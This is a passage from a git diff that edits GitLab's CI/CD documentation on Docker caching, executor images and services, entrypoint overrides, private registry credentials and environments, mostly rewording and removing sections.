Recent versions of Docker (Docker 1.13 and above) can +time you create a build. Recent versions of Docker (Docker 1.13 and later) can use a pre-existing image as a cache during the `docker build` step. This considerably speeds up the build process. @@ -737,9 +727,9 @@ as a cache source by using multiple `--cache-from` arguments. Any image that's u with the `--cache-from` argument must first be pulled (using `docker pull`) before it can be used as a cache source. -### Using Docker caching +### Docker caching example -Here's a `.gitlab-ci.yml` file showing how Docker caching can be used: +Here's a `.gitlab-ci.yml` file that shows how to use Docker caching: ```yaml image: docker:19.03.12 @@ -764,12 +754,12 @@ build: - docker push $CI_REGISTRY_IMAGE:latest ``` -The steps in the `script` section for the `build` stage can be summed up to: +In the `script` section for the `build` stage: 1. The first command tries to pull the image from the registry so that it can be used as a cache for the `docker build` command. -1. The second command builds a Docker image using the pulled image as a - cache (notice the `--cache-from $CI_REGISTRY_IMAGE:latest` argument) if +1. The second command builds a Docker image by using the pulled image as a + cache (see the `--cache-from $CI_REGISTRY_IMAGE:latest` argument) if available, and tags it. 1. The last two commands push the tagged Docker images to the container registry so that they may also be used as cache for subsequent builds. @@ -818,10 +808,10 @@ variables: ### Use the OverlayFS driver for every project -If you use your own [GitLab Runners](https://docs.gitlab.com/runner/), you +If you use your own [runners](https://docs.gitlab.com/runner/), you can enable the driver for every project by setting the `DOCKER_DRIVER` environment variable in the -[`[[runners]]` section of `config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section): +[`[[runners]]` section of the `config.toml` file](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section): ```toml environment = ["DOCKER_DRIVER=overlay2"] @@ -832,7 +822,7 @@ If you're running multiple runners, you have to modify all configuration files. Read more about the [runner configuration](https://docs.gitlab.com/runner/configuration/) and [using the OverlayFS storage driver](https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/). -## Using the GitLab Container Registry +## Use the GitLab Container Registry After you've built a Docker image, you can push it up to the built-in [GitLab Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd). @@ -842,13 +832,12 @@ After you've built a Docker image, you can push it up to the built-in ### `docker: Cannot connect to the Docker daemon at tcp://docker:2375. Is the docker daemon running?` This is a common error when you are using -[Docker in Docker](#use-the-docker-executor-with-the-docker-image-docker-in-docker) -v19.03 or higher. +[Docker-in-Docker](#use-the-docker-executor-with-the-docker-image-docker-in-docker) +v19.03 or later. -This occurs because Docker starts on TLS automatically, so you need to do some setup. -If: +This issue occurs because Docker starts on TLS automatically. -- This is the first time setting it up, carefully read - [using Docker in Docker workflow](#use-the-docker-executor-with-the-docker-image-docker-in-docker). -- You are upgrading from v18.09 or earlier, read our +- If this is your first time setting it up, read + [use the Docker executor with the Docker image](#use-the-docker-executor-with-the-docker-image-docker-in-docker). +- If you are upgrading from v18.09 or earlier, read our [upgrade guide](https://about.gitlab.com/blog/2019/07/31/docker-in-docker-with-docker-19-dot-03/). diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index e8028a862c4..173701ef358 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -9,23 +9,22 @@ type: concepts, howto You can run your CI/CD jobs in separate, isolated Docker containers. -When you run a Docker container on your local machine, it acts as a reproducible build environment. -You can run tests in the container, instead of testing on a dedicated CI/CD server. +If you run Docker on your local machine, you can run tests in the container, +rather than testing on a dedicated CI/CD server. To run CI/CD jobs in a Docker container, you need to: -- Register a runner that uses the Docker executor. Then all jobs run in a Docker container. -- Specify an image in your `.gitlab-ci.yml` file. The runner creates a container from this image - and runs the jobs in it. -- Optional. Specify other images in your `.gitlab-ci.yml` file. These containers are known as - ["services"](#what-is-a-service) and you can use them to run services like MySQL separately. +1. Register a runner so that all jobs run in Docker containers. Do this by choosing the Docker executor during registration. +1. Specify which container to run the jobs in. Do this by specifying an image in your `.gitlab-ci.yml` file. +1. Optional. Run other services, like MySQL, in containers. Do this by specifying [services](../services/index.md) + in your `.gitlab-ci.yml` file. ## Register a runner that uses the Docker executor To use GitLab Runner with Docker you need to [register a runner](https://docs.gitlab.com/runner/register/) that uses the Docker executor. -In this example, we first set up a temporary template to supply the services: +This example shows how to set up a temporary template to supply services: ```shell cat > /tmp/test-config.template.toml << EOF @@ -57,150 +56,20 @@ accessible during the build process. ## What is an image The `image` keyword is the name of the Docker image the Docker executor -runs to perform the CI tasks. +uses to run CI/CD jobs. -By default, the executor pulls images only from [Docker Hub](https://hub.docker.com/). -However, you can configure the location in the `gitlab-runner/config.toml` file. For example, -you can set the [Docker pull policy](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work) +By default, the executor pulls images from [Docker Hub](https://hub.docker.com/). +However, you can configure the registry location in the `gitlab-runner/config.toml` file. +For example, you can set the [Docker pull policy](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work) to use local images. -For more information about images and Docker Hub, read +For more information about images and Docker Hub, see the [Docker Fundamentals](https://docs.docker.com/engine/understanding-docker/) documentation. -## What is a service - -The `services` keyword defines another Docker image that's run during -your job. It's linked to the Docker image that the `image` keyword defines, -which allows you to access the service image during build time. - -The service image can run any application, but the most common use case is to -run a database container, for example, `mysql`. It's easier and faster to use an -existing image and run it as an additional container than to install `mysql` every -time the project is built. - -You're not limited to only database services. You can add as many -services you need to `.gitlab-ci.yml` or manually modify `config.toml`. -Any image found at [Docker Hub](https://hub.docker.com/) or your private Container Registry can be -used as a service. - -Services inherit the same DNS servers, search domains, and additional hosts as -the CI container itself. - -You can see some widely used services examples in the relevant documentation of -[CI services examples](../services/index.md). - -### How services are linked to the job - -To better understand how container linking works, read -[Linking containers together](https://docs.docker.com/engine/userguide/networking/default_network/dockerlinks/). - -If you add `mysql` as service to your application, the image is -used to create a container that's linked to the job container. - -The service container for MySQL is accessible under the hostname `mysql`. -To access your database service, connect to the host named `mysql` instead of a -socket or `localhost`. Read more in [accessing the services](#accessing-the-services). - -### How the health check of services works - -Services are designed to provide additional features which are **network accessible**. -They may be a database like MySQL, or Redis, and even `docker:stable-dind` which -allows you to use Docker-in-Docker. It can be practically anything that's -required for the CI/CD job to proceed, and is accessed by network. - -To make sure this works, the runner: - -1. Checks which ports are exposed from the container by default. -1. Starts a special container that waits for these ports to be accessible. - -If the second stage of the check fails, it prints the warning: `*** WARNING: Service XYZ probably didn't start properly`. -This issue can occur because: - -- There is no opened port in the service. -- The service was not started properly before the timeout, and the port is not - responding. - -In most cases it affects the job, but there may be situations when the job -still succeeds even if that warning was printed. For example: - -- The service was started shortly after the warning was raised, and the job is - not using the linked service from the beginning. In that case, when the - job needed to access the service, it may have been already there waiting for - connections. -- The service container is not providing any networking service, but it's doing - something with the job's directory (all services have the job directory mounted - as a volume under `/builds`). In that case, the service does its job, and - because the job is not trying to connect to it, it does not fail. - -### What services are not for - -As mentioned before, this feature is designed to provide **network accessible** -services. A database is the simplest example of such a service. - -The services feature is not designed to, and does not, add any software from the -defined `services` image(s) to the job's container. - -For example, if you have the following `services` defined in your job, the `php`, -`node` or `go` commands are **not** available for your script, and the job fails: - -```yaml -job: - services: - - php:7 - - node:latest - - golang:1.10 - image: alpine:3.7 - script: - - php -v - - node -v - - go version -``` - -If you need to have `php`, `node` and `go` available for your script, you should -either: - -- Choose an existing Docker image that contains all required tools. -- Create your own Docker image, with all the required tools included, - and use that in your job. - -### Accessing the services - -Let's say that you need a Wordpress instance to test some API integration with -your application. You can then use for example the -[`tutum/wordpress`](https://hub.docker.com/r/tutum/wordpress/) image in your -`.gitlab-ci.yml` file: - -```yaml -services: - - tutum/wordpress:latest -``` - -If you don't [specify a service alias](#available-settings-for-services), -when the job runs, `tutum/wordpress` is started. You have -access to it from your build container under two hostnames: - -- `tutum-wordpress` -- `tutum__wordpress` - -Hostnames with underscores are not RFC valid and may cause problems in third-party -applications. - -The default aliases for the service's hostname are created from its image name -following these rules: - -- Everything after the colon (`:`) is stripped. -- Slash (`/`) is replaced with double underscores (`__`) and the primary alias - is created. -- Slash (`/`) is replaced with a single dash (`-`) and the secondary alias is - created (requires GitLab Runner v1.1.0 or higher). - -To override the default behavior, you can -[specify a service alias](#available-settings-for-services). - -## Define `image` and `services` from `.gitlab-ci.yml` +## Define `image` in the `.gitlab-ci.yml` file You can define an image that's used for all jobs, and a list of -services that you want to use during build time: +services that you want to use during runtime: ```yaml default: @@ -223,232 +92,61 @@ The image name must be in one of the following formats: - `image: <image-name>:<tag>` - `image: <image-name>@<digest>` -It's also possible to define different images and services per job: - -```yaml -default: - before_script: - - bundle install - -test:2.6: - image: ruby:2.6 - services: - - postgres:11.7 - script: - - bundle exec rake spec - -test:2.7: - image: ruby:2.7 - services: - - postgres:12.2 - script: - - bundle exec rake spec -``` - -Or you can pass some [extended configuration options](#extended-docker-configuration-options) -for `image` and `services`: - -```yaml -default: - image: - name: ruby:2.6 - entrypoint: ["/bin/bash"] - - services: - - name: my-postgres:11.7 - alias: db-postgres - entrypoint: ["/usr/local/bin/db-postgres"] - command: ["start"] - - before_script: - - bundle install - -test: - script: - - bundle exec rake spec -``` - -## Passing CI/CD variables to services - -You can also pass custom CI/CD [variables](../variables/README.md) -to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. -For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#gitlab-ciyml-defined-variables). - -```yaml -# The following variables are automatically passed down to the Postgres container -# as well as the Ruby container and available within each. -variables: - HTTPS_PROXY: "https://10.1.1.1:8090" - HTTP_PROXY: "https://10.1.1.1:8090" - POSTGRES_DB: "my_custom_db" - POSTGRES_USER: "postgres" - POSTGRES_PASSWORD: "example" - PGDATA: "/var/lib/postgresql/data" - POSTGRES_INITDB_ARGS: "--encoding=UTF8 --data-checksums" - -services: - - name: postgres:11.7 - alias: db - entrypoint: ["docker-entrypoint.sh"] - command: ["postgres"] - -image: - name: ruby:2.6 - entrypoint: ["/bin/bash"] - -before_script: - - bundle install - -test: - script: - - bundle exec rake spec -``` - ## Extended Docker configuration options > Introduced in GitLab and GitLab Runner 9.4. -When configuring the `image` or `services` entries, you can use a string or a map as -options: +You can use a string or a map for the `image` or `services` entries: -- When using a string as an option, it must be the full name of the image to use - (including the Registry part if you want to download the image from a Registry +- Strings must include the full image name + (including the registry, if you want to download the image from a registry other than Docker Hub). -- When using a map as an option, then it must contain at least the `name` - option, which is the same name of the image as used for the string setting. +- Maps must contain at least the `name` option, + which is the same image name as used for the string setting. For example, the following two definitions are equal: -1. Using a string as an option to `image` and `services`: +- A string for `image` and `services`: - ```yaml - image: "registry.example.com/my/image:latest" - - services: - - postgresql:9.4 - - redis:latest - ``` - -1. Using a map as an option to `image` and `services`. The use of `image:name` is - required: - - ```yaml - image: - name: "registry.example.com/my/image:latest" - - services: - - name: postgresql:9.4 - - name: redis:latest - ``` - -### Available settings for `image` - -> Introduced in GitLab and GitLab Runner 9.4. - -| Setting | Required | GitLab version | Description | -|------------|----------|----------------| ----------- | -| `name` | yes, when used with any other option | 9.4 |Full name of the image to use. It should contain the Registry part if needed. | -| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. | - -### Available settings for `services` - -> Introduced in GitLab and GitLab Runner 9.4. - -| Setting | Required | GitLab version | Description | -|------------|----------|----------------| ----------- | -| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. It should contain the Registry part if needed. | -| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. | -| `command` | no | 9.4 |Command or script that should be used as the container's command. It's translated to arguments passed to Docker after the image's name. The syntax is similar to [`Dockerfile`'s `CMD`](https://docs.docker.com/engine/reference/builder/#cmd) directive, where each shell token is a separate string in the array. | -| `alias` (1) | no | 9.4 |Additional alias that can be used to access the service from the job's container. Read [Accessing the services](#accessing-the-services) for more information. | - -(1) Alias support for the Kubernetes executor was [introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2229) in GitLab Runner 12.8, and is only available for Kubernetes version 1.7 or later. - -### Starting multiple services from the same image - -> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options). - -Before the new extended Docker configuration options, the following configuration -would not work properly: - -```yaml -services: - - mysql:latest - - mysql:latest -``` - -The runner would start two containers, each that uses the `mysql:latest` image. -However, both of them would be added to the job's container with the `mysql` alias, based on -the [default hostname naming](#accessing-the-services). This would end with one -of the services not being accessible. - -After the new extended Docker configuration options, the above example would -look like: - -```yaml -services: - - name: mysql:latest - alias: mysql-1 - - name: mysql:latest - alias: mysql-2 -``` - -The runner still starts two containers using the `mysql:latest` image, -however now each of them are also accessible with the alias configured -in `.gitlab-ci.yml` file. - -### Setting a command for the service - -> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options). - -Let's assume you have a `super/sql:latest` image with some SQL database -in it. You would like to use it as a service for your job. Let's also -assume that this image does not start the database process while starting -the container. The user needs to manually use `/usr/bin/super-sql run` as -a command to start the database. - -Before the new extended Docker configuration options, you would need to: - -- Create your own image based on the `super/sql:latest` image. -- Add the default command. -- Use the image in the job's configuration: - - ```dockerfile - # my-super-sql:latest image's Dockerfile + ```yaml + image: "registry.example.com/my/image:latest" - FROM super/sql:latest - CMD ["/usr/bin/super-sql", "run"] + services: + - postgresql:9.4 + - redis:latest ``` +- A map for `image` and `services`. The `image:name` is + required: + ```yaml - # .gitlab-ci.yml + image: + name: "registry.example.com/my/image:latest" services: - - my-super-sql:latest + - name: postgresql:9.4 + - name: redis:latest ``` -After the new extended Docker configuration options, you can -set a `command` in the `.gitlab-ci.yml` file instead: - -```yaml -# .gitlab-ci.yml +### Available settings for `image` -services: - - name: super/sql:latest - command: ["/usr/bin/super-sql", "run"] -``` +> Introduced in GitLab and GitLab Runner 9.4. -The syntax of `command` is similar to [Dockerfile's `CMD`](https://docs.docker.com/engine/reference/builder/#cmd). +| Setting | Required | Description | +|------------|----------| ----------- | +| `name` | Yes, when used with any other option. | Full name of the image. It should contain the registry part if needed. | +| `entrypoint` | No. | Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. | ### Overriding the entrypoint of an image -> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options). +> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options). -Before showing the available entrypoint override methods, let's describe +Before explaining the available entrypoint override methods, let's describe how the runner starts. It uses a Docker image for the containers used in the CI/CD jobs: -1. The runner starts a Docker container using the defined entrypoint (default - from `Dockerfile` that may be overridden in `.gitlab-ci.yml`) +1. The runner starts a Docker container using the defined entrypoint. The default + from `Dockerfile` that may be overridden in the `.gitlab-ci.yml` file. 1. The runner attaches itself to a running container. 1. The runner prepares a script (the combination of [`before_script`](../yaml/README.md#before_script), @@ -457,14 +155,13 @@ CI/CD jobs: 1. The runner sends the script to the container's shell `stdin` and receives the output. -To override the entrypoint of a Docker image, you should -define an empty `entrypoint` in `.gitlab-ci.yml`, so the runner does not start -a useless shell layer. However, that does not work for all Docker versions, and -you should check which one your runner is using: +To override the entrypoint of a Docker image, +define an empty `entrypoint` in the `.gitlab-ci.yml` file, so the runner does not start +a useless shell layer. However, that does not work for all Docker versions. -- _If Docker 17.06 or later is used,_ the `entrypoint` can be set to an empty value. -- _If Docker 17.03 or previous versions are used,_ the `entrypoint` can be set to - `/bin/sh -c`, `/bin/bash -c` or an equivalent shell available in the image. +- For Docker 17.06 and later, the `entrypoint` can be set to an empty value. +- For Docker 17.03 and earlier, the `entrypoint` can be set to + `/bin/sh -c`, `/bin/bash -c`, or an equivalent shell available in the image. The syntax of `image:entrypoint` is similar to [Dockerfile's `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint). @@ -484,7 +181,7 @@ With the extended Docker configuration options, instead of: You can now define an `entrypoint` in the `.gitlab-ci.yml` file. -**For Docker 17.06+:** +**For Docker 17.06 and later:** ```yaml image: @@ -492,7 +189,7 @@ image: entrypoint: [""] ``` -**For Docker =< 17.03:** +**For Docker 17.03 and earlier:** ```yaml image: @@ -517,40 +214,38 @@ that runner. To access private container registries, the GitLab Runner process can use: -- [Statically defined credentials](#using-statically-defined-credentials). That is, a username and password for a specific registry. -- [Credentials Store](#using-credentials-store). For more information, read [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credentials-store). -- [Credential Helpers](#using-credential-helpers). For more information, read [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credential-helpers). +- [Statically defined credentials](#use-statically-defined-credentials). That is, a username and password for a specific registry. +- [Credentials Store](#use-a-credentials-store). For more information, see [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credentials-store). +- [Credential Helpers](#use-credential-helpers). For more information, see [the relevant Docker documentation](https://docs.docker.com/engine/reference/commandline/login/#credential-helpers). -To define which should be used, the GitLab Runner process reads the configuration in the following order: +To define which option should be used, the runner process reads the configuration in this order: -- `DOCKER_AUTH_CONFIG` variable provided as either: - - A [CI/CD variable](../variables/README.md) in `.gitlab-ci.yml`. - - A project's variables stored on the projects **Settings > CI/CD** page. -- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner. -- `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process. - If the `--user` flag is provided to run the GitLab Runner child processes as unprivileged user, - the home directory of the main GitLab Runner process user is used. +- A `DOCKER_AUTH_CONFIG` variable provided as either: + - A [CI/CD variable](../variables/README.md) in the `.gitlab-ci.yml` file. + - A project's variables stored on the project's **Settings > CI/CD** page. +- A `DOCKER_AUTH_CONFIG` variable provided as environment variable in the runner's `config.toml` file. +- A `config.json` file in `$HOME/.docker` directory of the user running the process. + If the `--user` flag is provided to run the child processes as unprivileged user, + the home directory of the main runner process user is used. -GitLab Runner reads this configuration **only** from `config.toml` and ignores it if -it's provided as an environment variable. This is because GitLab Runner uses **only** -`config.toml` configuration and does not interpolate **any** environment variables at +The runner reads this configuration **only** from the `config.toml` file and ignores it if +it's provided as a CI/CD variable. This is because the runner uses **only** +`config.toml` configuration and does not interpolate **any** CI/CD variables at runtime. ### Requirements and limitations -- This feature requires GitLab Runner **1.8** or higher. -- For GitLab Runner versions **>= 0.6, <1.8** there was a partial - support for using private registries, which required manual configuration - of credentials on runner's host. We recommend to upgrade your runner to - at least version **1.8** if you want to use private registries. - Available for [Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html) in GitLab Runner 13.1 and later. -- [Credentials Store](#using-credentials-store) and [Credential Helpers](#using-credential-helpers) require binaries to be added to the GitLab Runner's `$PATH`, and require access to do so. Therefore, these features are not available on shared runners, or any other runner where the user does not have access to the environment where the runner is installed. +- [Credentials Store](#use-a-credentials-store) and [Credential Helpers](#use-credential-helpers) + require binaries to be added to the GitLab Runner `$PATH`, and require access to do so. Therefore, + these features are not available on shared runners, or any other runner where the user does not + have access to the environment where the runner is installed. -### Using statically-defined credentials +### Use statically-defined credentials -There are two approaches that you can take in order to access a -private registry. Both require setting the environment variable +There are two approaches that you can take to access a +private registry. Both require setting the CI/CD variable `DOCKER_AUTH_CONFIG` with appropriate authentication information. 1. Per-job: To configure one job to access a private registry, add @@ -561,7 +256,7 @@ private registry. Both require setting the environment variable See below for examples of each. -#### Determining your `DOCKER_AUTH_CONFIG` data +#### Determine your `DOCKER_AUTH_CONFIG` data As an example, let's assume you want to use the `registry.example.com:5000/private/image:latest` image. This image is private and requires you to sign in to a private container @@ -592,7 +287,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`: docker logout registry.example.com:5000 ``` -- In some setups, it's possible that Docker client uses the available system key +- In some setups, it's possible the Docker client uses the available system key store to store the result of `docker login`. In that case, it's impossible to read `~/.docker/config.json`, so you must prepare the required base64-encoded version of `${username}:${password}` and create the Docker @@ -618,7 +313,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`: } ``` -#### Configuring a job +#### Configure a job To configure a single job with access for `registry.example.com:5000`, follow these steps: @@ -637,7 +332,7 @@ follow these steps: ``` 1. You can now use any private image from `registry.example.com:5000` defined in - `image` and/or `services` in your `.gitlab-ci.yml` file: + `image` or `services` in your `.gitlab-ci.yml` file: ```yaml image: registry.example.com:5000/namespace/image:tag @@ -651,19 +346,19 @@ registries to the `"auths"` hash as described above. The full `hostname:port` combination is required everywhere for the runner to match the `DOCKER_AUTH_CONFIG`. For example, if -`registry.example.com:5000/namespace/image:tag` is specified in `.gitlab-ci.yml`, +`registry.example.com:5000/namespace/image:tag` is specified in the `.gitlab-ci.yml` file, then the `DOCKER_AUTH_CONFIG` must also specify `registry.example.com:5000`. Specifying only `registry.example.com` does not work. ### Configuring a runner -If you have many pipelines that access the same registry, it is -probably better to set up registry access at the runner level. This +If you have many pipelines that access the same registry, you should +set up registry access at the runner level. This allows pipeline authors to have access to a private registry just by -running a job on the appropriate runner. It also makes registry -changes and credential rotations much simpler. +running a job on the appropriate runner. It also helps simplify registry +changes and credential rotations. -Of course this means that any job on that runner can access the +This means that any job on that runner can access the registry with the same privilege, even across projects. If you need to control access to the registry, you need to be sure to control access to the runner. @@ -686,14 +381,12 @@ To add `DOCKER_AUTH_CONFIG` to a runner: 1. Restart the runner service. -### Using Credentials Store - -> Support for using Credentials Store was added in GitLab Runner 9.5. +### Use a Credentials Store -To configure credentials store, follow these steps: +To configure a Credentials Store: -1. To use a credentials store, you need an external helper program to interact with a specific keychain or external store. - Make sure the helper program is available in GitLab Runner `$PATH`. +1. To use a Credentials Store, you need an external helper program to interact with a specific keychain or external store. + Make sure the helper program is available in the GitLab Runner `$PATH`. 1. Make GitLab Runner use it. There are two ways to accomplish this. Either: @@ -716,16 +409,16 @@ To configure credentials store, follow these steps: If you use both images from a private registry and public images from Docker Hub, pulling from Docker Hub fails. Docker daemon tries to use the same credentials for **all** the registries. -### Using Credential Helpers +### Use Credential Helpers -> Support for using Credential Helpers was added in GitLab Runner 12.0 +> Introduced in GitLab Runner 12.0. As an example, let's assume that you want to use the `aws_account_id.dkr.ecr.region.amazonaws.com/private/image:latest` image. This image is private and requires you to log in into a private container registry. To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow these steps: -1. Make sure `docker-credential-ecr-login` is available in GitLab Runner's `$PATH`. +1. Make sure `docker-credential-ecr-login` is available in the GitLab Runner `$PATH`. 1. Have any of the following [AWS credentials setup](https://github.com/awslabs/amazon-ecr-credential-helper#aws-credentials). Make sure that GitLab Runner can access the credentials. 1. Make GitLab Runner use it. There are two ways to accomplish this. Either: @@ -742,9 +435,9 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th } ``` - This configures Docker to use the credential helper for a specific registry. + This configures Docker to use the Credential Helper for a specific registry. - or + Instead, you can configure Docker to use the Credential Helper for all Amazon Elastic Container Registry (ECR) registries: ```json { @@ -752,10 +445,8 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th } ``` - This configures Docker to use the credential helper for all Amazon Elastic Container Registry (ECR) registries. - - Or, if you're running self-managed runners, - add the above JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`. + add the previous JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`. GitLab Runner reads this configuration file and uses the needed helper for this specific repository. @@ -766,101 +457,8 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th image: aws_account_id.dkr.ecr.region.amazonaws.com/private/image:latest ``` - In the example above, GitLab Runner looks at `aws_account_id.dkr.ecr.region.amazonaws.com` for the + In the example, GitLab Runner looks at `aws_account_id.dkr.ecr.region.amazonaws.com` for the image `private/image:latest`. You can add configuration for as many registries as you want, adding more -registries to the `"credHelpers"` hash as described above. - -## Configuring services - -Many services accept environment variables, which you can use to change -database names or set account names, depending on the environment. - -GitLab Runner 0.5.0 and up passes all YAML-defined CI/CD variables to the created -service containers. - -For all possible configuration variables, check the documentation of each image -provided in their corresponding Docker hub page. - -All CI/CD variables are passed to all services containers. It's not -designed to distinguish which variable should go where. - -### PostgreSQL service example - -Read the specific documentation for -[using PostgreSQL as a service](../services/postgres.md). - -### MySQL service example - -Read the specific documentation for -[using MySQL as a service](../services/mysql.md). - -## How Docker integration works - -Below is a high level overview of the steps performed by Docker during job -time. - -1. Create any service container: `mysql`, `postgresql`, `mongodb`, `redis`. -1. Create a cache container to store all volumes as defined in `config.toml` and - `Dockerfile` of build image (`ruby:2.6` as in above example). -1. Create a build container and link any service container to build container. -1. Start the build container, and send a job script to the container. -1. Run the job script. -1. Checkout code in: `/builds/group-name/project-name/`. -1. Run any step defined in `.gitlab-ci.yml`. -1. Check the exit status of build script. -1. Remove the build container and all created service containers. - -## How to debug a job locally - -The following commands are run without root privileges. You should be -able to run Docker with your regular user account. - -First start with creating a file named `build_script`: - -```shell -cat <<EOF > build_script -git clone https://gitlab.com/gitlab-org/gitlab-runner.git /builds/gitlab-org/gitlab-runner -cd /builds/gitlab-org/gitlab-runner -make -EOF -``` - -Here we use as an example the GitLab Runner repository which contains a -Makefile, so running `make` executes the commands defined in the Makefile. -Instead of `make`, you could run the command which is specific to your project. - -Then create some service containers: - -```shell -docker run -d --name service-mysql mysql:latest -docker run -d --name service-postgres postgres:latest -``` - -This creates two service containers, named `service-mysql` and -`service-postgres` which use the latest MySQL and PostgreSQL images -respectively. They both run in the background (`-d`). - -Finally, create a build container by executing the `build_script` file we -created earlier: - -```shell -docker run --name build -i --link=service-mysql:mysql --link=service-postgres:postgres ruby:2.6 /bin/bash < build_script -``` - -The above command creates a container named `build` that's spawned from -the `ruby:2.6` image and has two services linked to it. The `build_script` is -piped using `stdin` to the bash interpreter which in turn executes the -`build_script` in the `build` container. - -When you finish testing and no longer need the containers, you can remove them -with: - -```shell -docker rm -f -v build service-mysql service-postgres -``` - -This forcefully (`-f`) removes the `build` container, the two service -containers, and all volumes (`-v`) that were created with the container -creation. +registries to the `"credHelpers"` hash. diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 358117ed796..e38d9031ffd 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -110,7 +110,7 @@ for an explanation of these roles and the permissions of each. Production secrets are needed to deploy successfully. For example, when deploying to the cloud, cloud providers require these secrets to connect to their services. In the project settings, you can -define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-custom-variable) +define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-cicd-variable) are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines don't get the protected variable. You can also diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index ef222ba5779..4ee9aa9a5ba 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -17,7 +17,7 @@ from development to staging, and then to production (or through any series of custom environment flows you can set up). With an at-a-glance view of multiple projects, you can instantly see which pipelines are green and which are red allowing you to -diagnose if there is a block at a particular point, or if there’s +diagnose if there is a block at a particular point, or if there's a more systemic problem you need to investigate. You can access the dashboard from the top bar by clicking diff --git a/doc/ci/environments/img/environment_auto_stop_v13_10.png b/doc/ci/environments/img/environment_auto_stop_v13_10.png Binary files differindex 1525f670ff2..50f268da27f 100644 --- a/doc/ci/environments/img/environment_auto_stop_v13_10.png +++ b/doc/ci/environments/img/environment_auto_stop_v13_10.png diff --git a/doc/ci/environments/img/environments_dynamic_groups_v13_10.png b/doc/ci/environments/img/environments_dynamic_groups_v13_10.png Binary files differindex cf3f9f7c781..c17d75a0912 100644 --- a/doc/ci/environments/img/environments_dynamic_groups_v13_10.png +++ b/doc/ci/environments/img/environments_dynamic_groups_v13_10.png diff --git a/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png b/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png Binary files differindex 13c8d1cd523..4a9a4e65d00 100644 --- a/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png +++ b/doc/ci/environments/img/environments_terminal_button_on_index_v13_10.png diff --git a/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png b/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png Binary files differindex fcc3e2b6631..e725720846a 100644 --- a/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png +++ b/doc/ci/environments/img/environments_terminal_button_on_show_v13_10.png diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index abb12852fac..55d83887423 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -6,9 +6,7 @@ type: reference disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html' --- -# Environments and deployments - -> Introduced in GitLab 8.9. +# Environments and deployments **(FREE)** Environments describe where code is deployed. @@ -123,29 +121,28 @@ Some variables cannot be used as environment names or URLs. For more information about the `environment` keywords, see [the `.gitlab-ci.yml` keyword reference](../yaml/README.md#environment). -## Deployment tier of environments (**FREE**) +## Deployment tier of environments > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10. -There are cases where you might want to use a code name as an environment name instead of using -an [industry standard](https://en.wikipedia.org/wiki/Deployment_environment). For example, your environment might be called `customer-portal` instead of `production`. -This is perfectly fine, however, it loses information that the 